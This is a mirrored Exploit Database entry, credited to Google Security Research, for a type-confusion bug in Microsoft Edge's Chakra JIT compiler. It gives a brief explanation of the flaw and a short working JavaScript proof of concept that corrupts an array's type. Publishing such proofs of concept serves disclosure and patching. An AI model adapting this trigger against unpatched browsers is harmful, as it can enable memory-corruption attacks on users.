Microsoft Edge Chakra JIT – ‘NewScObjectNoCtor’ Array Type Confusion

• Exploit Database
• 119 阅读

• 作者： Google Security Research
  日期： 2018-02-15
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44080/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33

  /* This is similar to the previous issues 1457,1459 (MSRC 42551, MSRC 42552).   If a JavaScript function is used as a consturctor, it sets the new object&apos;s "__proto__" to its "prototype". The JIT compiler uses NewScObjectNoCtor instructions to perform it, but those instructions are not checked by CheckJsArrayKills which is used to validate the array information.   PoC: */   function inlinee() {   }   function opt(arr) { arr[0] = 1.1; new inlinee(); arr[0] = 2.3023e-320; }   function main() { let arr = [1.1]; for (let i = 0; i < 10000; i++) { inlinee.prototype = {}; opt(arr); }   inlinee.prototype = arr; opt(arr);   print(arr); }   main();